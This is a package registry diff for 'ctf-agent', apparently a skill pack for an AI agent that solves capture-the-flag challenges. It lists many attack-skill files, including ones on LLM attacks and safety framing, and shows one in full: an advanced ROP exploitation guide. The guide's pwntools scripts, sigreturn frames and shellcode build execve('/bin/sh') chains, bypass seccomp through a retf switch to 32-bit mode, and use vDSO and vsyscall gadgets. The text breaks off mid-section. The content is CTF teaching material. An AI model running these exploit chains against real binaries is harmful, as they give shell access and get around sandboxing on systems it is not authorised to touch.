ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,725 @@
|
|
|
1
|
+
# CTF Pwn - Advanced ROP Techniques
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Double Stack Pivot to BSS via leave;ret (Midnightflag 2026)](#double-stack-pivot-to-bss-via-leaveret-midnightflag-2026)
|
|
5
|
+
- [SROP with UTF-8 Payload Constraints (DiceCTF 2026)](#srop-with-utf-8-payload-constraints-dicectf-2026)
|
|
6
|
+
- [Seccomp Bypass](#seccomp-bypass)
|
|
7
|
+
- [RETF Architecture Switch for Seccomp Bypass (Midnightflag 2026)](#retf-architecture-switch-for-seccomp-bypass-midnightflag-2026)
|
|
8
|
+
- [Stack Shellcode with Input Reversal](#stack-shellcode-with-input-reversal)
|
|
9
|
+
- [.fini_array Hijack](#fini_array-hijack)
|
|
10
|
+
- [pwntools Template](#pwntools-template)
|
|
11
|
+
- [Automated Offset Finding via Corefile (Crypto-Cat)](#automated-offset-finding-via-corefile-crypto-cat)
|
|
12
|
+
- [ret2vdso — Using Kernel vDSO Gadgets (HTB Nowhere to go)](#ret2vdso--using-kernel-vdso-gadgets-htb-nowhere-to-go)
|
|
13
|
+
- [Step 1 — Stack leak](#step-1--stack-leak)
|
|
14
|
+
- [Step 2 — Write `/bin/sh` to known address](#step-2--write-binsh-to-known-address)
|
|
15
|
+
- [Step 3 — Find vDSO base via AT_SYSINFO_EHDR](#step-3--find-vdso-base-via-at_sysinfo_ehdr)
|
|
16
|
+
- [Step 4 — Dump vDSO and find gadgets](#step-4--dump-vdso-and-find-gadgets)
|
|
17
|
+
- [Step 5 — execve ROP chain](#step-5--execve-rop-chain)
|
|
18
|
+
- [Vsyscall ROP for PIE Bypass (Hack.lu 2015)](#vsyscall-rop-for-pie-bypass-hacklu-2015)
|
|
19
|
+
- [x32 ABI Syscall Number Aliasing for Seccomp Bypass (BCTF 2017)](#x32-abi-syscall-number-aliasing-for-seccomp-bypass-bctf-2017)
|
|
20
|
+
- [Time-Based Blind Shellcode When write() Blocked (DEF CON 2017)](#time-based-blind-shellcode-when-write-blocked-def-con-2017)
|
|
21
|
+
- [JIT-ROP: Scan for syscall Byte in Leaked libc Function (Codegate 2018)](#jit-rop-scan-for-syscall-byte-in-leaked-libc-function-codegate-2018)
|
|
22
|
+
- [ret2dl_resolve 64-bit (Codegate 2018)](#ret2dl_resolve-64-bit-codegate-2018)
|
|
23
|
+
- [Prime-Only ROP via Goldbach Decomposition (PlaidCTF 2018)](#prime-only-rop-via-goldbach-decomposition-plaidctf-2018)
|
|
24
|
+
- [Imperfect-Gadget Stack Pivot (RITSEC 2018)](#imperfect-gadget-stack-pivot-ritsec-2018)
|
|
25
|
+
- [_fini_array Double-Entry Staged ROP (Insomnihack 2019)](#_fini_array-double-entry-staged-rop-insomnihack-2019)
|
|
26
|
+
- [ret2libc via Statically-Linked libc + Embedded /bin/sh String (TAMUctf 2019)](#ret2libc-via-statically-linked-libc--embedded-binsh-string-tamuctf-2019)
|
|
27
|
+
- [Useful Commands](#useful-commands)
|
|
28
|
+
|
|
29
|
+
For core ROP chain building, ret2csu, bad character bypass, exotic gadgets, and stack pivot via xchg, see [rop-and-shellcode.md](rop-and-shellcode.md).
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## Double Stack Pivot to BSS via leave;ret (Midnightflag 2026)
|
|
34
|
+
|
|
35
|
+
**Pattern (Eyeless):** Small stack overflow (22 bytes past buffer) — enough to overwrite RBP + RIP but too small for a ROP chain. No libc leak available. Use two `leave; ret` pivots to relocate execution to BSS, then chain `fgets` calls to write arbitrary-length ROP.
|
|
36
|
+
|
|
37
|
+
**Stage 1 — Pivot to BSS:**
|
|
38
|
+
```python
|
|
39
|
+
BSS_STAGE = 0x404500 # writable BSS address
|
|
40
|
+
LEAVE_RET = 0x4013d9 # leave; ret gadget
|
|
41
|
+
|
|
42
|
+
# Overflow: 128-byte buffer + RBP + RIP
|
|
43
|
+
payload = b'A' * 128
|
|
44
|
+
payload += p64(BSS_STAGE) # overwrite RBP → BSS
|
|
45
|
+
payload += p64(LEAVE_RET) # leave sets RSP = RBP (BSS), then ret
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Stage 2 — Chain fgets for large ROP:**
|
|
49
|
+
```python
|
|
50
|
+
# After pivot, RSP is at BSS_STAGE. Pre-place a mini-ROP there that
|
|
51
|
+
# calls fgets(BSS+0x600, 0x700, stdin) to read the real ROP chain:
|
|
52
|
+
POP_RDI = 0x4013a5
|
|
53
|
+
POP_RSI_R15 = 0x4013a3
|
|
54
|
+
SET_RDX_STDIN = 0x40136a # gadget that sets rdx = stdin FILE*
|
|
55
|
+
|
|
56
|
+
stage2 = flat(
|
|
57
|
+
SET_RDX_STDIN,
|
|
58
|
+
POP_RDI, BSS_STAGE + 0x100, # destination buffer
|
|
59
|
+
POP_RSI_R15, 0x700, 0, # size
|
|
60
|
+
elf.plt['fgets'], # fgets(buf, 0x700, stdin)
|
|
61
|
+
BSS_STAGE + 0x100, # return into the new ROP chain
|
|
62
|
+
)
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
**Key insight:** `leave; ret` is equivalent to `mov rsp, rbp; pop rbp; ret`. Overwriting RBP controls where RSP lands after `leave`. Two pivots solve the "too small for ROP" problem: first pivot moves to BSS where a small bootstrap ROP calls `fgets` to load the full exploit.
|
|
66
|
+
|
|
67
|
+
**When to use:** Overflow is too small for a full ROP chain AND the binary uses `fgets`/`read` (or similar input function) that can be called via PLT. BSS is always writable and at a known address (no PIE or PIE leaked).
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
## SROP with UTF-8 Payload Constraints (DiceCTF 2026)
|
|
72
|
+
|
|
73
|
+
**Pattern (Message Store):** Rust binary where OOB color index reads memcpy from GOT, causing `memcpy(stack, BUFFER, 0x1000)` — a massive stack overflow. But `from_utf8_lossy()` validates the buffer first: any invalid UTF-8 triggers `Cow::Owned` with corrupted replacement data. **The entire 0x1000-byte payload must be valid UTF-8.**
|
|
74
|
+
|
|
75
|
+
**Why SROP:** Normal ROP gadget addresses contain bytes >0x7f which are invalid single-byte UTF-8. SROP needs only 3 gadgets (set rax=15, call syscall) to trigger `sigreturn`, then a signal frame sets ALL registers for `execve("/bin/sh", NULL, NULL)`.
|
|
76
|
+
|
|
77
|
+
**UTF-8 multi-byte spanning trick:** Register fields in the signal frame are 8 bytes each, packed contiguously. A 3-byte UTF-8 sequence can start in one field and end in the next:
|
|
78
|
+
|
|
79
|
+
```python
|
|
80
|
+
from pwn import *
|
|
81
|
+
|
|
82
|
+
# r15 is the field immediately before rdi in the sigframe
|
|
83
|
+
# rdi = pointer to "/bin/sh" = 0x2f9fb0 → bytes [B0, 9F, 2F, ...]
|
|
84
|
+
# B0, 9F are UTF-8 continuation bytes (10xxxxxx) — invalid as sequence start
|
|
85
|
+
# Solution: set r15's last byte to 0xE0 (3-byte UTF-8 leader)
|
|
86
|
+
# E0 B0 9F = valid UTF-8 (U+0C1F) spanning r15→rdi boundary
|
|
87
|
+
|
|
88
|
+
frame = SigreturnFrame()
|
|
89
|
+
frame.rax = 59 # execve
|
|
90
|
+
frame.rdi = buf_addr + 0x178 # address of "/bin/sh\0"
|
|
91
|
+
frame.rsi = 0
|
|
92
|
+
frame.rdx = 0
|
|
93
|
+
frame.rip = syscall_addr
|
|
94
|
+
frame.r15 = 0xE000000000000000 # Last byte 0xE0 starts 3-byte UTF-8 seq
|
|
95
|
+
|
|
96
|
+
# ROP preamble: 3 UTF-8-safe gadgets
|
|
97
|
+
payload = b'\x00' * 0x48 # padding to return address
|
|
98
|
+
payload += p64(pop_rax_ret) # set rax = 15 (sigreturn)
|
|
99
|
+
payload += p64(15)
|
|
100
|
+
payload += p64(syscall_ret) # trigger sigreturn
|
|
101
|
+
payload += bytes(frame)
|
|
102
|
+
# Place "/bin/sh\0" at offset 0x178 in BUFFER
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**When to use:** Any exploit where payload bytes pass through UTF-8 validation (Rust `String`, `from_utf8`, JSON parsers). SROP minimizes the number of gadget addresses that must be UTF-8-safe.
|
|
106
|
+
|
|
107
|
+
**Key insight:** Multi-byte UTF-8 sequences (2-4 bytes) can span adjacent fields in structured data (signal frames, ROP chains). Set the leader byte (0xC0-0xF7) as the last byte of one field so continuation bytes (0x80-0xBF) in the next field form a valid sequence.
|
|
108
|
+
|
|
109
|
+
## Seccomp Bypass
|
|
110
|
+
|
|
111
|
+
Alternative syscalls when seccomp blocks `open()`/`read()`:
|
|
112
|
+
- `openat()` (257), `openat2()` (437, often missed!), `sendfile()` (40), `readv()`/`writev()`
|
|
113
|
+
|
|
114
|
+
**Check rules:** `seccomp-tools dump ./binary`
|
|
115
|
+
|
|
116
|
+
See [advanced.md](advanced.md) for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, `scmp_arg_cmp` struct layout.
|
|
117
|
+
|
|
118
|
+
## RETF Architecture Switch for Seccomp Bypass (Midnightflag 2026)
|
|
119
|
+
|
|
120
|
+
**Pattern (Eyeless):** Seccomp blocks `execve`, `execveat`, `open`, `openat` in 64-bit mode. Switch to 32-bit (IA-32e compatibility mode) where syscall numbers differ and the filter does not apply.
|
|
121
|
+
|
|
122
|
+
**How it works:** The `retf` (far return) instruction pops RIP then CS from the stack. Setting `CS = 0x23` switches the CPU to 32-bit compatibility mode. In 32-bit mode, `int 0x80` uses different syscall numbers: `open=5`, `read=3`, `write=4`, `exit=1`.
|
|
123
|
+
|
|
124
|
+
**ROP chain to switch modes:**
|
|
125
|
+
```python
|
|
126
|
+
POP_RDX_RBX = libc_base + 0x8f0c5 # pop rdx; pop rbx; ret
|
|
127
|
+
POP_RDI = 0x4013a5
|
|
128
|
+
POP_RSI_R15 = 0x4013a3
|
|
129
|
+
RETF = libc_base + 0x294bf # retf gadget in libc
|
|
130
|
+
|
|
131
|
+
# Step 1: mprotect BSS as RWX for shellcode
|
|
132
|
+
rop = flat(POP_RDI, 0x404000) # addr = BSS page
|
|
133
|
+
rop += flat(POP_RSI_R15, 0x1000, 0) # size = page
|
|
134
|
+
rop += flat(POP_RDX_RBX, 7, 0) # prot = RWX
|
|
135
|
+
rop += flat(libc_base + libc.sym.mprotect)
|
|
136
|
+
|
|
137
|
+
# Step 2: Far return to 32-bit shellcode on BSS
|
|
138
|
+
rop += flat(RETF)
|
|
139
|
+
rop += p32(0x404a80) # 32-bit EIP (shellcode address on BSS)
|
|
140
|
+
rop += p32(0x23) # CS = 0x23 (IA-32e compatibility mode)
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
**32-bit shellcode (open/read/write flag):**
|
|
144
|
+
```nasm
|
|
145
|
+
mov esp, 0x404100 ; set up 32-bit stack
|
|
146
|
+
push 0x67616c66 ; "flag" (reversed)
|
|
147
|
+
push 0x2f2f2f2f ; "////"
|
|
148
|
+
mov ebx, esp ; ebx = filename pointer
|
|
149
|
+
|
|
150
|
+
mov eax, 5 ; SYS_open (32-bit)
|
|
151
|
+
xor ecx, ecx ; O_RDONLY
|
|
152
|
+
int 0x80 ; open("////flag", O_RDONLY)
|
|
153
|
+
|
|
154
|
+
mov ebx, eax ; fd from open
|
|
155
|
+
mov ecx, esp ; buffer
|
|
156
|
+
mov edx, 0x100 ; size
|
|
157
|
+
mov eax, 3 ; SYS_read (32-bit)
|
|
158
|
+
int 0x80
|
|
159
|
+
|
|
160
|
+
mov edx, eax ; bytes read
|
|
161
|
+
mov ecx, esp ; buffer
|
|
162
|
+
mov ebx, 1 ; stdout
|
|
163
|
+
mov eax, 4 ; SYS_write (32-bit)
|
|
164
|
+
int 0x80
|
|
165
|
+
|
|
166
|
+
mov eax, 1 ; SYS_exit
|
|
167
|
+
int 0x80
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
**Key insight:** Seccomp filters configured for `AUDIT_ARCH_X86_64` do not check 32-bit `int 0x80` syscalls. The `retf` gadget (found in libc) switches architecture by loading CS=0x23. Requires making a memory region executable first via `mprotect`, since 32-bit shellcode must run from writable+executable memory.
|
|
171
|
+
|
|
172
|
+
**Finding retf in libc:**
|
|
173
|
+
```bash
|
|
174
|
+
ROPgadget --binary libc.so.6 | grep retf
|
|
175
|
+
# Or search for byte 0xcb:
|
|
176
|
+
objdump -d libc.so.6 | grep -w retf
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
**When to use:** Seccomp blocks critical 64-bit syscalls (`open`, `openat`, `execve`) but does not use `SECCOMP_FILTER_FLAG_SPEC_ALLOW` or check `AUDIT_ARCH`. Combine with `mprotect` to make BSS/heap executable for the 32-bit shellcode.
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## Stack Shellcode with Input Reversal
|
|
184
|
+
|
|
185
|
+
**Pattern (Scarecode):** Binary reverses input buffer before returning.
|
|
186
|
+
|
|
187
|
+
**Strategy:**
|
|
188
|
+
1. Leak address via info-leak command (bypass PIE)
|
|
189
|
+
2. Find `sub rsp, 0x10; jmp *%rsp` gadget
|
|
190
|
+
3. Pre-reverse shellcode and RIP overwrite bytes
|
|
191
|
+
4. Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
|
|
192
|
+
5. Place trampoline (`jmp short`) to hop back into NOP sled + shellcode
|
|
193
|
+
|
|
194
|
+
**Null-byte avoidance with `scanf("%s")`:**
|
|
195
|
+
- Can't embed `\x00` in payload
|
|
196
|
+
- Use partial pointer overwrite (6 bytes) -- top 2 bytes match since same mapping
|
|
197
|
+
- Use short jumps and NOP sleds instead of multi-address ROP chains
|
|
198
|
+
|
|
199
|
+
## .fini_array Hijack
|
|
200
|
+
|
|
201
|
+
**When to use:** Writable `.fini_array` + arbitrary write primitive. When `main()` returns, entries called as function pointers. Works even with Full RELRO.
|
|
202
|
+
|
|
203
|
+
```python
|
|
204
|
+
# Find .fini_array address
|
|
205
|
+
fini_array = elf.get_section_by_name('.fini_array').header.sh_addr
|
|
206
|
+
# Or: objdump -h binary | grep fini_array
|
|
207
|
+
|
|
208
|
+
# Overwrite with format string %hn (2-byte writes)
|
|
209
|
+
writes = {
|
|
210
|
+
fini_array: target_addr & 0xFFFF,
|
|
211
|
+
fini_array + 2: (target_addr >> 16) & 0xFFFF,
|
|
212
|
+
}
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
**Advantages over GOT overwrite:** Works even with Full RELRO (`.fini_array` is in a different section). Especially useful when combined with RWX regions for shellcode.
|
|
216
|
+
|
|
217
|
+
## pwntools Template
|
|
218
|
+
|
|
219
|
+
```python
|
|
220
|
+
from pwn import *
|
|
221
|
+
|
|
222
|
+
context.binary = elf = ELF('./binary')
|
|
223
|
+
context.log_level = 'debug'
|
|
224
|
+
|
|
225
|
+
def conn():
|
|
226
|
+
if args.GDB:
|
|
227
|
+
return gdb.debug([exe], gdbscript='init-pwndbg\ncontinue')
|
|
228
|
+
elif args.REMOTE:
|
|
229
|
+
return remote('host', port)
|
|
230
|
+
return process('./binary')
|
|
231
|
+
|
|
232
|
+
io = conn()
|
|
233
|
+
# exploit here
|
|
234
|
+
io.interactive()
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
### Automated Offset Finding via Corefile (Crypto-Cat)
|
|
238
|
+
|
|
239
|
+
Automatically determine buffer overflow offset without manual `cyclic -l`:
|
|
240
|
+
```python
|
|
241
|
+
def find_offset(exe):
|
|
242
|
+
p = process(exe, level='warn')
|
|
243
|
+
p.sendlineafter(b'>', cyclic(500))
|
|
244
|
+
p.wait()
|
|
245
|
+
# x64: read saved RIP from stack pointer
|
|
246
|
+
offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
|
|
247
|
+
# x86: use pc directly
|
|
248
|
+
# offset = cyclic_find(p.corefile.pc)
|
|
249
|
+
log.warn(f'Offset: {offset}')
|
|
250
|
+
return offset
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
**Key insight:** pwntools auto-generates a core file from the crashed process. Reading the saved return address from `corefile.sp` (x64) or `corefile.pc` (x86) and passing it to `cyclic_find()` gives the exact offset. Eliminates manual GDB inspection.
|
|
254
|
+
|
|
255
|
+
## ret2vdso — Using Kernel vDSO Gadgets (HTB Nowhere to go)
|
|
256
|
+
|
|
257
|
+
**Pattern:** Statically-linked binary with minimal functions and zero useful ROP gadgets (no `pop rdi`, `pop rsi`, `pop rax`, etc.). The Linux kernel maps a vDSO (Virtual Dynamic Shared Object) into every process, and it contains enough gadgets for `execve`.
|
|
258
|
+
|
|
259
|
+
### Step 1 — Stack leak
|
|
260
|
+
|
|
261
|
+
Overflow a buffer and read back more bytes than sent to leak stack pointers:
|
|
262
|
+
```python
|
|
263
|
+
p.send(b'A' * 0x20)
|
|
264
|
+
resp = p.recv(0x80)
|
|
265
|
+
leak = u64(resp[0x30:0x38])
|
|
266
|
+
stackbase = (leak & 0x0000FFFFFFFFF000) - 0x20000
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
### Step 2 — Write `/bin/sh` to known address
|
|
270
|
+
|
|
271
|
+
Use the binary's own `read` function via ROP to place `/bin/sh\0` at a page-aligned stack address:
|
|
272
|
+
```python
|
|
273
|
+
payload = b'B' * 32 + p64(READ_FUNC) + p64(LOOP) + p64(0x8) + p64(stackbase)
|
|
274
|
+
p.sendline(payload)
|
|
275
|
+
p.send(b'/bin/sh\x00')
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
### Step 3 — Find vDSO base via AT_SYSINFO_EHDR
|
|
279
|
+
|
|
280
|
+
Dump the stack using the binary's `write` function. Search for `AT_SYSINFO_EHDR` (auxv type `0x21`) which holds the vDSO base address:
|
|
281
|
+
```python
|
|
282
|
+
# Dump 0x21000 bytes from stackbase
|
|
283
|
+
for i in range(0, len(stackdump) - 15, 8):
|
|
284
|
+
val = u64(stackdump[i:i+8])
|
|
285
|
+
if val == 0x21: # AT_SYSINFO_EHDR
|
|
286
|
+
next_val = u64(stackdump[i+8:i+16])
|
|
287
|
+
if 0x7f0000000000 <= next_val <= 0x7fffffffffff and (next_val & 0xFFF) == 0:
|
|
288
|
+
vdso_base = next_val
|
|
289
|
+
break
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### Step 4 — Dump vDSO and find gadgets
|
|
293
|
+
|
|
294
|
+
Dump 0x2000 bytes from `vdso_base` using the binary's `write` function, then search for gadgets. Common vDSO gadgets:
|
|
295
|
+
```python
|
|
296
|
+
POP_RDX_RAX_RET = vdso_base + 0xba0 # pop rdx; pop rax; ret
|
|
297
|
+
POP_RBX_R12_RBP_RET = vdso_base + 0x8c6 # pop rbx; pop r12; pop rbp; ret
|
|
298
|
+
MOV_RDI_RBX_SYSCALL = vdso_base + 0x8e3 # mov rdi, rbx; mov rsi, r12; syscall
|
|
299
|
+
```
|
|
300
|
+
|
|
301
|
+
### Step 5 — execve ROP chain
|
|
302
|
+
|
|
303
|
+
```python
|
|
304
|
+
payload = b'A' * 32
|
|
305
|
+
payload += p64(POP_RDX_RAX_RET)
|
|
306
|
+
payload += p64(0x0) # rdx = NULL (envp)
|
|
307
|
+
payload += p64(59) # rax = execve
|
|
308
|
+
payload += p64(POP_RBX_R12_RBP_RET)
|
|
309
|
+
payload += p64(stackbase) # rbx → rdi = &"/bin/sh"
|
|
310
|
+
payload += p64(0x0) # r12 → rsi = NULL (argv)
|
|
311
|
+
payload += p64(0xdeadbeef) # rbp (dummy)
|
|
312
|
+
payload += p64(MOV_RDI_RBX_SYSCALL)
|
|
313
|
+
```
|
|
314
|
+
|
|
315
|
+
**Key insight:** The vDSO is kernel-specific — different kernels have different gadget offsets. Always dump the remote vDSO rather than assuming local offsets. The auxv `AT_SYSINFO_EHDR` (type 0x21) on the stack is the reliable way to find the vDSO base address.
|
|
316
|
+
|
|
317
|
+
**Detection:** Statically-linked binary with few functions, no libc, and no useful gadgets. QEMU-hosted challenges often run custom kernels with unique vDSO layouts.
|
|
318
|
+
|
|
319
|
+
---
|
|
320
|
+
|
|
321
|
+
## Vsyscall ROP for PIE Bypass (Hack.lu 2015)
|
|
322
|
+
|
|
323
|
+
On older Linux kernels, vsyscall page is mapped at a fixed address (`0xffffffffff600000-0xffffffffff601000`) regardless of ASLR/PIE. Each vsyscall entry ends with `ret`, providing gadgets at known addresses:
|
|
324
|
+
|
|
325
|
+
- `0xffffffffff600000` — gettimeofday (ret at +0x9)
|
|
326
|
+
- `0xffffffffff600400` — time (ret at +0x9)
|
|
327
|
+
- `0xffffffffff600800` — getcpu (ret at +0x9)
|
|
328
|
+
|
|
329
|
+
Use vsyscall `ret` gadgets to slide the stack to a partial return address overwrite:
|
|
330
|
+
|
|
331
|
+
```python
|
|
332
|
+
from pwn import *
|
|
333
|
+
|
|
334
|
+
payload = b'A' * 72 # padding to return address
|
|
335
|
+
payload += p64(0xffffffffff600400) # vsyscall time: acts as NOP-ret
|
|
336
|
+
payload += p64(0xffffffffff600400) # second NOP-ret for alignment
|
|
337
|
+
payload += b"\x8b\x10" # partial overwrite to target (2 bytes)
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
**Key insight:** Vsyscall addresses are fixed even with PIE+ASLR. Modern kernels emulate vsyscalls (trap to kernel), but the addresses remain predictable. Check with `cat /proc/self/maps | grep vsyscall`.
|
|
341
|
+
|
|
342
|
+
**Note:** Some newer kernels disable vsyscall entirely (`vsyscall=none`). Verify availability before relying on this technique.
|
|
343
|
+
|
|
344
|
+
---
|
|
345
|
+
|
|
346
|
+
## x32 ABI Syscall Number Aliasing for Seccomp Bypass (BCTF 2017)
|
|
347
|
+
|
|
348
|
+
